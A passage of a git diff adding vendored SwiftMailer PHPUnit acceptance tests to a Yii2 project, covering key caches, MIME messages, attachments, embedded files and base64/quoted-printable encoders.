$this->assertTrue($this->_cache->hasKey($this->_key1, 'foo')); + $this->_cache->clearKey($this->_key1, 'foo'); + $this->assertFalse($this->_cache->hasKey($this->_key1, 'foo')); + } + + public function testNsKeyCanBeCleared() + { + $this->_cache->setString( + $this->_key1, 'foo', 'test', Swift_KeyCache::MODE_WRITE + ); + $this->_cache->setString( + $this->_key1, 'bar', 'xyz', Swift_KeyCache::MODE_WRITE + ); + $this->assertTrue($this->_cache->hasKey($this->_key1, 'foo')); + $this->assertTrue($this->_cache->hasKey($this->_key1, 'bar')); + $this->_cache->clearAll($this->_key1); + $this->assertFalse($this->_cache->hasKey($this->_key1, 'foo')); + $this->assertFalse($this->_cache->hasKey($this->_key1, 'bar')); + } + + public function testKeyCacheInputStream() + { + $is = $this->_cache->getInputByteStream($this->_key1, 'foo'); + $is->write('abc'); + $is->write('xyz'); + $this->assertEquals('abcxyz', $this->_cache->getString($this->_key1, 'foo')); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/KeyCache/DiskKeyCacheAcceptanceTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/KeyCache/DiskKeyCacheAcceptanceTest.php new file mode 100644 index 00000000..392edde8 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/KeyCache/DiskKeyCacheAcceptanceTest.php @@ -0,0 +1,183 @@ +markTestSkipped( + 'Cannot run test without a writable directory to use ('. + 'define SWIFT_TMP_DIR in tests/config.php if you wish to run this test)' + ); + } + + $this->_key1 = uniqid(microtime(true), true); + $this->_key2 = uniqid(microtime(true), true); + $this->_cache = new Swift_KeyCache_DiskKeyCache( + new Swift_KeyCache_SimpleKeyCacheInputStream(), + SWIFT_TMP_DIR + ); + } + + public function testStringDataCanBeSetAndFetched() + { + $this->_cache->setString( + $this->_key1, 'foo', 'test', Swift_KeyCache::MODE_WRITE + ); + $this->assertEquals('test', $this->_cache->getString($this->_key1, 'foo')); + } + + public function testStringDataCanBeOverwritten() + { + $this->_cache->setString( + $this->_key1, 'foo', 'test', Swift_KeyCache::MODE_WRITE + ); + $this->_cache->setString( + $this->_key1, 'foo', 'whatever', Swift_KeyCache::MODE_WRITE + ); + $this->assertEquals('whatever', $this->_cache->getString($this->_key1, 'foo')); + } + + public function testStringDataCanBeAppended() + { + $this->_cache->setString( + $this->_key1, 'foo', 'test', Swift_KeyCache::MODE_WRITE + ); + $this->_cache->setString( + $this->_key1, 'foo', 'ing', Swift_KeyCache::MODE_APPEND + ); + $this->assertEquals('testing', $this->_cache->getString($this->_key1, 'foo')); + } + + public function testHasKeyReturnValue() + { + $this->assertFalse($this->_cache->hasKey($this->_key1, 'foo')); + $this->_cache->setString( + $this->_key1, 'foo', 'test', Swift_KeyCache::MODE_WRITE + ); + $this->assertTrue($this->_cache->hasKey($this->_key1, 'foo')); + } + + public function testNsKeyIsWellPartitioned() + { + $this->_cache->setString( + $this->_key1, 'foo', 'test', Swift_KeyCache::MODE_WRITE + ); + $this->_cache->setString( + $this->_key2, 'foo', 'ing', Swift_KeyCache::MODE_WRITE + ); + $this->assertEquals('test', $this->_cache->getString($this->_key1, 'foo')); + $this->assertEquals('ing', $this->_cache->getString($this->_key2, 'foo')); + } + + public function testItemKeyIsWellPartitioned() + { + $this->_cache->setString( + $this->_key1, 'foo', 'test', Swift_KeyCache::MODE_WRITE + ); + $this->_cache->setString( + $this->_key1, 'bar', 'ing', Swift_KeyCache::MODE_WRITE + ); + $this->assertEquals('test', $this->_cache->getString($this->_key1, 'foo')); + $this->assertEquals('ing', $this->_cache->getString($this->_key1, 'bar')); + } + + public function testByteStreamCanBeImported() + { + $os = new Swift_ByteStream_ArrayByteStream(); + $os->write('abcdef'); + + $this->_cache->importFromByteStream( + $this->_key1, 'foo', $os, Swift_KeyCache::MODE_WRITE + ); + $this->assertEquals('abcdef', $this->_cache->getString($this->_key1, 'foo')); + } + + public function testByteStreamCanBeAppended() + { + $os1 = new Swift_ByteStream_ArrayByteStream(); + $os1->write('abcdef'); + + $os2 = new Swift_ByteStream_ArrayByteStream(); + $os2->write('xyzuvw'); + + $this->_cache->importFromByteStream( + $this->_key1, 'foo', $os1, Swift_KeyCache::MODE_APPEND + ); + $this->_cache->importFromByteStream( + $this->_key1, 'foo', $os2, Swift_KeyCache::MODE_APPEND + ); + + $this->assertEquals('abcdefxyzuvw', $this->_cache->getString($this->_key1, 'foo')); + } + + public function testByteStreamAndStringCanBeAppended() + { + $this->_cache->setString( + $this->_key1, 'foo', 'test', Swift_KeyCache::MODE_APPEND + ); + + $os = new Swift_ByteStream_ArrayByteStream(); + $os->write('abcdef'); + + $this->_cache->importFromByteStream( + $this->_key1, 'foo', $os, Swift_KeyCache::MODE_APPEND + ); + $this->assertEquals('testabcdef', $this->_cache->getString($this->_key1, 'foo')); + } + + public function testDataCanBeExportedToByteStream() + { + $this->_cache->setString( + $this->_key1, 'foo', 'test', Swift_KeyCache::MODE_WRITE + ); + + $is = new Swift_ByteStream_ArrayByteStream(); + + $this->_cache->exportToByteStream($this->_key1, 'foo', $is); + + $string = ''; + while (false !== $bytes = $is->read(8192)) { + $string .= $bytes; + } + + $this->assertEquals('test', $string); + } + + public function testKeyCanBeCleared() + { + $this->_cache->setString( + $this->_key1, 'foo', 'test', Swift_KeyCache::MODE_WRITE + ); + $this->assertTrue($this->_cache->hasKey($this->_key1, 'foo')); + $this->_cache->clearKey($this->_key1, 'foo'); + $this->assertFalse($this->_cache->hasKey($this->_key1, 'foo')); + } + + public function testNsKeyCanBeCleared() + { + $this->_cache->setString( + $this->_key1, 'foo', 'test', Swift_KeyCache::MODE_WRITE + ); + $this->_cache->setString( + $this->_key1, 'bar', 'xyz', Swift_KeyCache::MODE_WRITE + ); + $this->assertTrue($this->_cache->hasKey($this->_key1, 'foo')); + $this->assertTrue($this->_cache->hasKey($this->_key1, 'bar')); + $this->_cache->clearAll($this->_key1); + $this->assertFalse($this->_cache->hasKey($this->_key1, 'foo')); + $this->assertFalse($this->_cache->hasKey($this->_key1, 'bar')); + } + + public function testKeyCacheInputStream() + { + $is = $this->_cache->getInputByteStream($this->_key1, 'foo'); + $is->write('abc'); + $is->write('xyz'); + $this->assertEquals('abcxyz', $this->_cache->getString($this->_key1, 'foo')); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/MessageAcceptanceTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/MessageAcceptanceTest.php new file mode 100644 index 00000000..04062e1f --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/MessageAcceptanceTest.php @@ -0,0 +1,57 @@ +_createMessage(); + $message->setSubject('just a test subject'); + $message->setFrom(array( + 'chris.corbyn@swiftmailer.org' => 'Chris Corbyn',)); + + $id = $message->getId(); + $date = $message->getDate(); + $boundary = $message->getBoundary(); + + $message->addPart('foo', 'text/plain', 'iso-8859-1'); + $message->addPart('test foo', 'text/html', 'iso-8859-1'); + + $this->assertEquals( + 'Message-ID: <'.$id.'>'."\r\n". + 'Date: '.date('r', $date)."\r\n". + 'Subject: just a test subject'."\r\n". + 'From: Chris Corbyn '."\r\n". + 'MIME-Version: 1.0'."\r\n". + 'Content-Type: multipart/alternative;'."\r\n". + ' boundary="'.$boundary.'"'."\r\n". + "\r\n\r\n". + '--'.$boundary."\r\n". + 'Content-Type: text/plain; charset=iso-8859-1'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n". + "\r\n". + 'foo'. + "\r\n\r\n". + '--'.$boundary."\r\n". + 'Content-Type: text/html; charset=iso-8859-1'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n". + "\r\n". + 'test foo'. + "\r\n\r\n". + '--'.$boundary.'--'."\r\n", + $message->toString() + ); + } + + // -- Private helpers + + protected function _createMessage() + { + Swift_DependencyContainer::getInstance() + ->register('properties.charset')->asValue(null); + + return Swift_Message::newInstance(); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Mime/AttachmentAcceptanceTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Mime/AttachmentAcceptanceTest.php new file mode 100644 index 00000000..e925367e --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Mime/AttachmentAcceptanceTest.php @@ -0,0 +1,125 @@ +_cache = new Swift_KeyCache_ArrayKeyCache( + new Swift_KeyCache_SimpleKeyCacheInputStream() + ); + $factory = new Swift_CharacterReaderFactory_SimpleCharacterReaderFactory(); + $this->_contentEncoder = new Swift_Mime_ContentEncoder_Base64ContentEncoder(); + + $headerEncoder = new Swift_Mime_HeaderEncoder_QpHeaderEncoder( + new Swift_CharacterStream_ArrayCharacterStream($factory, 'utf-8') + ); + $paramEncoder = new Swift_Encoder_Rfc2231Encoder( + new Swift_CharacterStream_ArrayCharacterStream($factory, 'utf-8') + ); + $this->_grammar = new Swift_Mime_Grammar(); + $this->_headers = new Swift_Mime_SimpleHeaderSet( + new Swift_Mime_SimpleHeaderFactory($headerEncoder, $paramEncoder, $this->_grammar) + ); + } + + public function testDispositionIsSetInHeader() + { + $attachment = $this->_createAttachment(); + $attachment->setContentType('application/pdf'); + $attachment->setDisposition('inline'); + $this->assertEquals( + 'Content-Type: application/pdf'."\r\n". + 'Content-Transfer-Encoding: base64'."\r\n". + 'Content-Disposition: inline'."\r\n", + $attachment->toString() + ); + } + + public function testDispositionIsAttachmentByDefault() + { + $attachment = $this->_createAttachment(); + $attachment->setContentType('application/pdf'); + $this->assertEquals( + 'Content-Type: application/pdf'."\r\n". + 'Content-Transfer-Encoding: base64'."\r\n". + 'Content-Disposition: attachment'."\r\n", + $attachment->toString() + ); + } + + public function testFilenameIsSetInHeader() + { + $attachment = $this->_createAttachment(); + $attachment->setContentType('application/pdf'); + $attachment->setFilename('foo.pdf'); + $this->assertEquals( + 'Content-Type: application/pdf; name=foo.pdf'."\r\n". + 'Content-Transfer-Encoding: base64'."\r\n". + 'Content-Disposition: attachment; filename=foo.pdf'."\r\n", + $attachment->toString() + ); + } + + public function testSizeIsSetInHeader() + { + $attachment = $this->_createAttachment(); + $attachment->setContentType('application/pdf'); + $attachment->setSize(12340); + $this->assertEquals( + 'Content-Type: application/pdf'."\r\n". + 'Content-Transfer-Encoding: base64'."\r\n". + 'Content-Disposition: attachment; size=12340'."\r\n", + $attachment->toString() + ); + } + + public function testMultipleParametersInHeader() + { + $attachment = $this->_createAttachment(); + $attachment->setContentType('application/pdf'); + $attachment->setFilename('foo.pdf'); + $attachment->setSize(12340); + $this->assertEquals( + 'Content-Type: application/pdf; name=foo.pdf'."\r\n". + 'Content-Transfer-Encoding: base64'."\r\n". + 'Content-Disposition: attachment; filename=foo.pdf; size=12340'."\r\n", + $attachment->toString() + ); + } + + public function testEndToEnd() + { + $attachment = $this->_createAttachment(); + $attachment->setContentType('application/pdf'); + $attachment->setFilename('foo.pdf'); + $attachment->setSize(12340); + $attachment->setBody('abcd'); + $this->assertEquals( + 'Content-Type: application/pdf; name=foo.pdf'."\r\n". + 'Content-Transfer-Encoding: base64'."\r\n". + 'Content-Disposition: attachment; filename=foo.pdf; size=12340'."\r\n". + "\r\n". + base64_encode('abcd'), + $attachment->toString() + ); + } + + // -- Private helpers + + protected function _createAttachment() + { + $entity = new Swift_Mime_Attachment( + $this->_headers, + $this->_contentEncoder, + $this->_cache, + $this->_grammar + ); + + return $entity; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Mime/ContentEncoder/Base64ContentEncoderAcceptanceTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Mime/ContentEncoder/Base64ContentEncoderAcceptanceTest.php new file mode 100644 index 00000000..2a5c562b --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Mime/ContentEncoder/Base64ContentEncoderAcceptanceTest.php @@ -0,0 +1,56 @@ +_samplesDir = realpath(__DIR__.'/../../../../_samples/charsets'); + $this->_encoder = new Swift_Mime_ContentEncoder_Base64ContentEncoder(); + } + + public function testEncodingAndDecodingSamples() + { + $sampleFp = opendir($this->_samplesDir); + while (false !== $encodingDir = readdir($sampleFp)) { + if (substr($encodingDir, 0, 1) == '.') { + continue; + } + + $sampleDir = $this->_samplesDir.'/'.$encodingDir; + + if (is_dir($sampleDir)) { + $fileFp = opendir($sampleDir); + while (false !== $sampleFile = readdir($fileFp)) { + if (substr($sampleFile, 0, 1) == '.') { + continue; + } + + $text = file_get_contents($sampleDir.'/'.$sampleFile); + + $os = new Swift_ByteStream_ArrayByteStream(); + $os->write($text); + + $is = new Swift_ByteStream_ArrayByteStream(); + + $this->_encoder->encodeByteStream($os, $is); + + $encoded = ''; + while (false !== $bytes = $is->read(8192)) { + $encoded .= $bytes; + } + + $this->assertEquals( + base64_decode($encoded), $text, + '%s: Encoded string should decode back to original string for sample '. + $sampleDir.'/'.$sampleFile + ); + } + closedir($fileFp); + } + } + closedir($sampleFp); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Mime/ContentEncoder/NativeQpContentEncoderAcceptanceTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Mime/ContentEncoder/NativeQpContentEncoderAcceptanceTest.php new file mode 100644 index 00000000..e8313da1 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Mime/ContentEncoder/NativeQpContentEncoderAcceptanceTest.php @@ -0,0 +1,86 @@ +_samplesDir = realpath(__DIR__.'/../../../../_samples/charsets'); + $this->_encoder = new Swift_Mime_ContentEncoder_NativeQpContentEncoder(); + } + + public function testEncodingAndDecodingSamples() + { + $sampleFp = opendir($this->_samplesDir); + while (false !== $encodingDir = readdir($sampleFp)) { + if (substr($encodingDir, 0, 1) == '.') { + continue; + } + + $sampleDir = $this->_samplesDir.'/'.$encodingDir; + + if (is_dir($sampleDir)) { + $fileFp = opendir($sampleDir); + while (false !== $sampleFile = readdir($fileFp)) { + if (substr($sampleFile, 0, 1) == '.') { + continue; + } + + $text = file_get_contents($sampleDir.'/'.$sampleFile); + + $os = new Swift_ByteStream_ArrayByteStream(); + $os->write($text); + + $is = new Swift_ByteStream_ArrayByteStream(); + $this->_encoder->encodeByteStream($os, $is); + + $encoded = ''; + while (false !== $bytes = $is->read(8192)) { + $encoded .= $bytes; + } + + $this->assertEquals( + quoted_printable_decode($encoded), + // CR and LF are converted to CRLF + preg_replace('~\r(?!\n)|(?_createEncoderFromContainer(); + $this->assertSame('=C3=A4=C3=B6=C3=BC=C3=9F', $encoder->encodeString('äöüß')); + } + + /** + * @expectedException RuntimeException + */ + public function testCharsetChangeNotImplemented() + { + $this->_encoder->charsetChanged('utf-8'); + $this->_encoder->charsetChanged('charset'); + $this->_encoder->encodeString('foo'); + } + + public function testGetName() + { + $this->assertSame('quoted-printable', $this->_encoder->getName()); + } + + private function _createEncoderFromContainer() + { + return Swift_DependencyContainer::getInstance() + ->lookup('mime.nativeqpcontentencoder') + ; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Mime/ContentEncoder/PlainContentEncoderAcceptanceTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Mime/ContentEncoder/PlainContentEncoderAcceptanceTest.php new file mode 100644 index 00000000..1541b7ea --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Mime/ContentEncoder/PlainContentEncoderAcceptanceTest.php @@ -0,0 +1,88 @@ +_samplesDir = realpath(__DIR__.'/../../../../_samples/charsets'); + $this->_encoder = new Swift_Mime_ContentEncoder_PlainContentEncoder('8bit'); + } + + public function testEncodingAndDecodingSamplesString() + { + $sampleFp = opendir($this->_samplesDir); + while (false !== $encodingDir = readdir($sampleFp)) { + if (substr($encodingDir, 0, 1) == '.') { + continue; + } + + $sampleDir = $this->_samplesDir.'/'.$encodingDir; + + if (is_dir($sampleDir)) { + $fileFp = opendir($sampleDir); + while (false !== $sampleFile = readdir($fileFp)) { + if (substr($sampleFile, 0, 1) == '.') { + continue; + } + + $text = file_get_contents($sampleDir.'/'.$sampleFile); + $encodedText = $this->_encoder->encodeString($text); + + $this->assertEquals( + $encodedText, $text, + '%s: Encoded string should be identical to original string for sample '. + $sampleDir.'/'.$sampleFile + ); + } + closedir($fileFp); + } + } + closedir($sampleFp); + } + + public function testEncodingAndDecodingSamplesByteStream() + { + $sampleFp = opendir($this->_samplesDir); + while (false !== $encodingDir = readdir($sampleFp)) { + if (substr($encodingDir, 0, 1) == '.') { + continue; + } + + $sampleDir = $this->_samplesDir.'/'.$encodingDir; + + if (is_dir($sampleDir)) { + $fileFp = opendir($sampleDir); + while (false !== $sampleFile = readdir($fileFp)) { + if (substr($sampleFile, 0, 1) == '.') { + continue; + } + + $text = file_get_contents($sampleDir.'/'.$sampleFile); + + $os = new Swift_ByteStream_ArrayByteStream(); + $os->write($text); + + $is = new Swift_ByteStream_ArrayByteStream(); + + $this->_encoder->encodeByteStream($os, $is); + + $encoded = ''; + while (false !== $bytes = $is->read(8192)) { + $encoded .= $bytes; + } + + $this->assertEquals( + $encoded, $text, + '%s: Encoded string should be identical to original string for sample '. + $sampleDir.'/'.$sampleFile + ); + } + closedir($fileFp); + } + } + closedir($sampleFp); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Mime/ContentEncoder/QpContentEncoderAcceptanceTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Mime/ContentEncoder/QpContentEncoderAcceptanceTest.php new file mode 100644 index 00000000..501dbfa8 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Mime/ContentEncoder/QpContentEncoderAcceptanceTest.php @@ -0,0 +1,157 @@ +_samplesDir = realpath(__DIR__.'/../../../../_samples/charsets'); + $this->_factory = new Swift_CharacterReaderFactory_SimpleCharacterReaderFactory(); + } + + public function testEncodingAndDecodingSamples() + { + $sampleFp = opendir($this->_samplesDir); + while (false !== $encodingDir = readdir($sampleFp)) { + if (substr($encodingDir, 0, 1) == '.') { + continue; + } + + $encoding = $encodingDir; + $charStream = new Swift_CharacterStream_NgCharacterStream( + $this->_factory, $encoding); + $encoder = new Swift_Mime_ContentEncoder_QpContentEncoder($charStream); + + $sampleDir = $this->_samplesDir.'/'.$encodingDir; + + if (is_dir($sampleDir)) { + $fileFp = opendir($sampleDir); + while (false !== $sampleFile = readdir($fileFp)) { + if (substr($sampleFile, 0, 1) == '.') { + continue; + } + + $text = file_get_contents($sampleDir.'/'.$sampleFile); + + $os = new Swift_ByteStream_ArrayByteStream(); + $os->write($text); + + $is = new Swift_ByteStream_ArrayByteStream(); + $encoder->encodeByteStream($os, $is); + + $encoded = ''; + while (false !== $bytes = $is->read(8192)) { + $encoded .= $bytes; + } + + $this->assertEquals( + quoted_printable_decode($encoded), $text, + '%s: Encoded string should decode back to original string for sample '. + $sampleDir.'/'.$sampleFile + ); + } + closedir($fileFp); + } + } + closedir($sampleFp); + } + + public function testEncodingAndDecodingSamplesFromDiConfiguredInstance() + { + $sampleFp = opendir($this->_samplesDir); + while (false !== $encodingDir = readdir($sampleFp)) { + if (substr($encodingDir, 0, 1) == '.') { + continue; + } + + $encoding = $encodingDir; + $encoder = $this->_createEncoderFromContainer(); + + $sampleDir = $this->_samplesDir.'/'.$encodingDir; + + if (is_dir($sampleDir)) { + $fileFp = opendir($sampleDir); + while (false !== $sampleFile = readdir($fileFp)) { + if (substr($sampleFile, 0, 1) == '.') { + continue; + } + + $text = file_get_contents($sampleDir.'/'.$sampleFile); + + $os = new Swift_ByteStream_ArrayByteStream(); + $os->write($text); + + $is = new Swift_ByteStream_ArrayByteStream(); + $encoder->encodeByteStream($os, $is); + + $encoded = ''; + while (false !== $bytes = $is->read(8192)) { + $encoded .= $bytes; + } + + $this->assertEquals( + str_replace("\r\n", "\n", quoted_printable_decode($encoded)), str_replace("\r\n", "\n", $text), + '%s: Encoded string should decode back to original string for sample '. + $sampleDir.'/'.$sampleFile + ); + } + closedir($fileFp); + } + } + closedir($sampleFp); + } + + public function testEncodingLFTextWithDiConfiguredInstance() + { + $encoder = $this->_createEncoderFromContainer(); + $this->assertEquals("a\r\nb\r\nc", $encoder->encodeString("a\nb\nc")); + } + + public function testEncodingCRTextWithDiConfiguredInstance() + { + $encoder = $this->_createEncoderFromContainer(); + $this->assertEquals("a\r\nb\r\nc", $encoder->encodeString("a\rb\rc")); + } + + public function testEncodingLFCRTextWithDiConfiguredInstance() + { + $encoder = $this->_createEncoderFromContainer(); + $this->assertEquals("a\r\n\r\nb\r\n\r\nc", $encoder->encodeString("a\n\rb\n\rc")); + } + + public function testEncodingCRLFTextWithDiConfiguredInstance() + { + $encoder = $this->_createEncoderFromContainer(); + $this->assertEquals("a\r\nb\r\nc", $encoder->encodeString("a\r\nb\r\nc")); + } + + public function testEncodingDotStuffingWithDiConfiguredInstance() + { + // Enable DotEscaping + Swift_Preferences::getInstance()->setQPDotEscape(true); + $encoder = $this->_createEncoderFromContainer(); + $this->assertEquals("a=2E\r\n=2E\r\n=2Eb\r\nc", $encoder->encodeString("a.\r\n.\r\n.b\r\nc")); + // Return to default + Swift_Preferences::getInstance()->setQPDotEscape(false); + $encoder = $this->_createEncoderFromContainer(); + $this->assertEquals("a.\r\n.\r\n.b\r\nc", $encoder->encodeString("a.\r\n.\r\n.b\r\nc")); + } + + public function testDotStuffingEncodingAndDecodingSamplesFromDiConfiguredInstance() + { + // Enable DotEscaping + Swift_Preferences::getInstance()->setQPDotEscape(true); + $this->testEncodingAndDecodingSamplesFromDiConfiguredInstance(); + // Disable DotStuffing to continue + Swift_Preferences::getInstance()->setQPDotEscape(false); + } + + private function _createEncoderFromContainer() + { + return Swift_DependencyContainer::getInstance() + ->lookup('mime.qpcontentencoder') + ; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Mime/EmbeddedFileAcceptanceTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Mime/EmbeddedFileAcceptanceTest.php new file mode 100644 index 00000000..75f3c84c --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Mime/EmbeddedFileAcceptanceTest.php @@ -0,0 +1,137 @@ +_cache = new Swift_KeyCache_ArrayKeyCache( + new Swift_KeyCache_SimpleKeyCacheInputStream() + ); + $factory = new Swift_CharacterReaderFactory_SimpleCharacterReaderFactory(); + $this->_contentEncoder = new Swift_Mime_ContentEncoder_Base64ContentEncoder(); + + $headerEncoder = new Swift_Mime_HeaderEncoder_QpHeaderEncoder( + new Swift_CharacterStream_ArrayCharacterStream($factory, 'utf-8') + ); + $paramEncoder = new Swift_Encoder_Rfc2231Encoder( + new Swift_CharacterStream_ArrayCharacterStream($factory, 'utf-8') + ); + $this->_grammar = new Swift_Mime_Grammar(); + $this->_headers = new Swift_Mime_SimpleHeaderSet( + new Swift_Mime_SimpleHeaderFactory($headerEncoder, $paramEncoder, $this->_grammar) + ); + } + + public function testContentIdIsSetInHeader() + { + $file = $this->_createEmbeddedFile(); + $file->setContentType('application/pdf'); + $file->setId('foo@bar'); + $this->assertEquals( + 'Content-Type: application/pdf'."\r\n". + 'Content-Transfer-Encoding: base64'."\r\n". + 'Content-Disposition: inline'."\r\n". + 'Content-ID: '."\r\n", + $file->toString() + ); + } + + public function testDispositionIsSetInHeader() + { + $file = $this->_createEmbeddedFile(); + $id = $file->getId(); + $file->setContentType('application/pdf'); + $file->setDisposition('attachment'); + $this->assertEquals( + 'Content-Type: application/pdf'."\r\n". + 'Content-Transfer-Encoding: base64'."\r\n". + 'Content-Disposition: attachment'."\r\n". + 'Content-ID: <'.$id.'>'."\r\n", + $file->toString() + ); + } + + public function testFilenameIsSetInHeader() + { + $file = $this->_createEmbeddedFile(); + $id = $file->getId(); + $file->setContentType('application/pdf'); + $file->setFilename('foo.pdf'); + $this->assertEquals( + 'Content-Type: application/pdf; name=foo.pdf'."\r\n". + 'Content-Transfer-Encoding: base64'."\r\n". + 'Content-Disposition: inline; filename=foo.pdf'."\r\n". + 'Content-ID: <'.$id.'>'."\r\n", + $file->toString() + ); + } + + public function testSizeIsSetInHeader() + { + $file = $this->_createEmbeddedFile(); + $id = $file->getId(); + $file->setContentType('application/pdf'); + $file->setSize(12340); + $this->assertEquals( + 'Content-Type: application/pdf'."\r\n". + 'Content-Transfer-Encoding: base64'."\r\n". + 'Content-Disposition: inline; size=12340'."\r\n". + 'Content-ID: <'.$id.'>'."\r\n", + $file->toString() + ); + } + + public function testMultipleParametersInHeader() + { + $file = $this->_createEmbeddedFile(); + $id = $file->getId(); + $file->setContentType('application/pdf'); + $file->setFilename('foo.pdf'); + $file->setSize(12340); + $this->assertEquals( + 'Content-Type: application/pdf; name=foo.pdf'."\r\n". + 'Content-Transfer-Encoding: base64'."\r\n". + 'Content-Disposition: inline; filename=foo.pdf; size=12340'."\r\n". + 'Content-ID: <'.$id.'>'."\r\n", + $file->toString() + ); + } + + public function testEndToEnd() + { + $file = $this->_createEmbeddedFile(); + $id = $file->getId(); + $file->setContentType('application/pdf'); + $file->setFilename('foo.pdf'); + $file->setSize(12340); + $file->setBody('abcd'); + $this->assertEquals( + 'Content-Type: application/pdf; name=foo.pdf'."\r\n". + 'Content-Transfer-Encoding: base64'."\r\n". + 'Content-Disposition: inline; filename=foo.pdf; size=12340'."\r\n". + 'Content-ID: <'.$id.'>'."\r\n". + "\r\n". + base64_encode('abcd'), + $file->toString() + ); + } + + // -- Private helpers + + protected function _createEmbeddedFile() + { + $entity = new Swift_Mime_EmbeddedFile( + $this->_headers, + $this->_contentEncoder, + $this->_cache, + $this->_grammar + ); + + return $entity; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Mime/HeaderEncoder/Base64HeaderEncoderAcceptanceTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Mime/HeaderEncoder/Base64HeaderEncoderAcceptanceTest.php new file mode 100644 index 00000000..95675279 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Mime/HeaderEncoder/Base64HeaderEncoderAcceptanceTest.php @@ -0,0 +1,32 @@ +_encoder = new Swift_Mime_HeaderEncoder_Base64HeaderEncoder(); + } + + public function testEncodingJIS() + { + if (function_exists('mb_convert_encoding')) { + // base64_encode and split cannot handle long JIS text to fold + $subject = "長い長い長い長い長い長い長い長い長い長い長い長い長い長い長い長い長い長い長い長い件名"; + + $encodedWrapperLength = strlen('=?iso-2022-jp?'.$this->_encoder->getName().'??='); + + $old = mb_internal_encoding(); + mb_internal_encoding('utf-8'); + $newstring = mb_encode_mimeheader($subject, 'iso-2022-jp', 'B', "\r\n"); + mb_internal_encoding($old); + + $encoded = $this->_encoder->encodeString($subject, 0, 75 - $encodedWrapperLength, 'iso-2022-jp'); + $this->assertEquals( + $encoded, $newstring, + 'Encoded string should decode back to original string for sample ' + ); + } + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Mime/MimePartAcceptanceTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Mime/MimePartAcceptanceTest.php new file mode 100644 index 00000000..8232fe63 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Mime/MimePartAcceptanceTest.php @@ -0,0 +1,129 @@ +_cache = new Swift_KeyCache_ArrayKeyCache( + new Swift_KeyCache_SimpleKeyCacheInputStream() + ); + $factory = new Swift_CharacterReaderFactory_SimpleCharacterReaderFactory(); + $this->_contentEncoder = new Swift_Mime_ContentEncoder_QpContentEncoder( + new Swift_CharacterStream_ArrayCharacterStream($factory, 'utf-8'), + new Swift_StreamFilters_ByteArrayReplacementFilter( + array(array(0x0D, 0x0A), array(0x0D), array(0x0A)), + array(array(0x0A), array(0x0A), array(0x0D, 0x0A)) + ) + ); + + $headerEncoder = new Swift_Mime_HeaderEncoder_QpHeaderEncoder( + new Swift_CharacterStream_ArrayCharacterStream($factory, 'utf-8') + ); + $paramEncoder = new Swift_Encoder_Rfc2231Encoder( + new Swift_CharacterStream_ArrayCharacterStream($factory, 'utf-8') + ); + $this->_grammar = new Swift_Mime_Grammar(); + $this->_headers = new Swift_Mime_SimpleHeaderSet( + new Swift_Mime_SimpleHeaderFactory($headerEncoder, $paramEncoder, $this->_grammar) + ); + } + + public function testCharsetIsSetInHeader() + { + $part = $this->_createMimePart(); + $part->setContentType('text/plain'); + $part->setCharset('utf-8'); + $part->setBody('foobar'); + $this->assertEquals( + 'Content-Type: text/plain; charset=utf-8'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n". + "\r\n". + 'foobar', + $part->toString() + ); + } + + public function testFormatIsSetInHeaders() + { + $part = $this->_createMimePart(); + $part->setContentType('text/plain'); + $part->setFormat('flowed'); + $part->setBody('> foobar'); + $this->assertEquals( + 'Content-Type: text/plain; format=flowed'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n". + "\r\n". + '> foobar', + $part->toString() + ); + } + + public function testDelSpIsSetInHeaders() + { + $part = $this->_createMimePart(); + $part->setContentType('text/plain'); + $part->setDelSp(true); + $part->setBody('foobar'); + $this->assertEquals( + 